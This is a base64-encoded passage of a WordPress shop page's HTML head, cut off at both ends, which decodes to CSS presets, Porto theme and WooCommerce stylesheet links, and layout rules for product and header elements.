CAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2Jvb3RzdHJhcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL2Jvb3RzdHJhcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1wbHVnaW5zLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy9wbHVnaW5zLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcnRjb2Rlcy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3Nob3J0Y29kZXMuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtc2hvcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfc2hvcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1lbGVtZW50b3ItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfZWxlbWVudG9yLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1keW5hbWljLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9keW5hbWljX3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10eXBlLWJ1aWxkZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcG9ydG8tZnVuY3Rpb25hbGl0eS9idWlsZGVycy9hc3NldHMvdHlwZS1idWlsZGVyLmNzcz92ZXI9Mi43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1hY2NvdW50LWxvZ2luLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lL3Nob3AvbG9naW4tc3R5bGUvYWNjb3VudC1sb2dpbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3Atc2tlbGV0b24tY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaW5nbGUtcHJvZHVjdC9za2VsZXRvbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3R5bGUtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vc3R5bGUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0ncG9ydG8tc3R5bGUtaW5saW5lLWNzcyc+DQogICAgICAgIC5zaWRlLWhlYWRlci1uYXJyb3ctYmFyLWxvZ28gew0KICAgICAgICAgICAgbWF4LXdpZHRoOiAxMTFweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDk5MnB4KSB7DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYSB7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICB3aWR0aDogMTRweDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAtOTk5OXB4DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYTphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAiXGU4ODMiOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdwb3J0byc7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTUwMHB4KSB7DQogICAgICAgICAgICAubGVmdC1zaWRlYmFyLmNvbC1sZy0zLCAucmlnaHQtc2lkZWJhci5jb2wtbGctMyB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDIwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAubWFpbi1jb250ZW50LmNvbC1sZy05IHsNCiAgICAgICAgICAgICAgICB3aWR0aDogODAlDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5tYWluLWNvbnRlbnQuY29sLWxnLTYgew0KICAgICAgICAgICAgICAgIHdpZHRoOiA2MCUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIsIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIgaW1nIHsNCiAgICAgICAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiBub25lOw0KICAgICAgICAgICAgdHJhbnNmb3JtOiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3Qgew0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgei1pbmRleDogMTAwOw0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgM3B4IDVweCByZ2JhKDAsIDAsIDAsIDAuMDgpOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweCAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QucG9zLWJvdHRvbSB7DQogICAgICAgICAgICB0b3A6IGF1dG87DQogICAgICAgICAgICBib3R0b206IDA7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIC0zcHggNXB4IHJnYmEoMCwgMCwgMCwgMC4wOCkNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgLW1zLWZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGlja3ktaW1hZ2Ugew0KICAgICAgICAgICAgbWF4LXdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLmFkZC10by1jYXJ0IHsNCiAgICAgICAgICAgIC1tcy1mbGV4OiAxOw0KICAgICAgICAgICAgZmxleDogMTsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLXRvcDogNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnByb2R1Y3QtbmFtZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IGluaGVyaXQ7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnN0aWNreS1kZXRhaWwgew0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGFyLXJhdGluZyB7DQogICAgICAgICAgICBtYXJnaW46IDVweCAxNXB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuYXZhaWxhYmlsaXR5IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuc3RpY2t5LWRldGFpbCAucHJpY2Ugew0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IFBvcHBpbnMsIFBvcHBpbnMsIHNhbnMtc2VyaWY7DQogICAgICAgICAgICBmb250LXdlaWdodDogNDAwOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS41DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IHZhcigtLXBvcnRvLWdyaWQtZ3V0dGVyLXdpZHRoKTsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiB2YXIoLS1wb3J0by1ncmlkLWd1dHRlci13aWR0aCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgew0KICAgICAgICAgICAgLnN0aWNreS1wcm9kdWN0IHsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuY3VzdG9tLWZvbnQ0LCAuY3VzdG9tLWZvbnQ0IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFNjcmlwdCcsICdTYXZveWUgTEVUJw0KICAgICAgICB9DQoNCiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2Utd3JhcHBlciB7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE0NDBweCkgew0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogNDBweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNDBweDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbi5lbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoID4gLmVsZW1lbnRvci1jb2x1bW4tZ2FwLW5vIHsNCiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnB4LXNsLTAgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDAgIWltcG9ydGFudA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgI2hlYWRlciAucG9ydG8tdmlldy1zd2l0Y2hlciA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gLmFycm93OmJlZm9yZSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXByb2R1Y3RzLWZpbHRlci1ib2R5IC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgICNoZWFkZXIgLnNlYXJjaGZvcm0gew0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJlbQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gew0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEycHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmhlYWRlci13cmFwcGVyICNoZWFkZXIgLnNlYXJjaGZvcm0gaW5wdXQgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsNCiAgICAgICAgICAgICAgICB3aWR0aDogYXV0bw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjaGVhZGVyIC5oZWFkZXItY29udGFjdCB7DQogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgIG9yZGVyOiAwDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLjVyZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSB7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDE0MzlweCkgew0KICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxN3B4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogLjVyZW07DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNzsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tZmxhdCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgLmJ0bi1mbGF0LmJ0bi14bCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdC1sYXlvdXQtdHJhbnNwYXJlbnQgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIHVsLnByb2R1Y3RzIGxpLnByb2R1Y3Qtb25pbWFnZTMgLnByb2R1Y3QtY29udGVudCB7DQogICAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnaW5hdGlvbi5sb2FkLW1vcmUgLm5leHQgew0KICAgICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtDQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiOmJlZm9yZSB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGxlZnQ6IC0uNWVtOw0KICAgICAgICAgICAgdG9wOiAtLjFlbTsNCiAgICAgICAgICAgIHJpZ2h0OiAtLjVlbTsNCiAgICAgICAgICAgIGJvdHRvbTogLS4xZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5Ow0KICAgICAgICAgICAgei1pbmRleDogLTE7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtMS41ZGVnKSBza2V3KDEuNWRlZykNCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGlucw0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXJlbGF0ZWQtcHJvZHVjdHMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbm9uZTsNCiA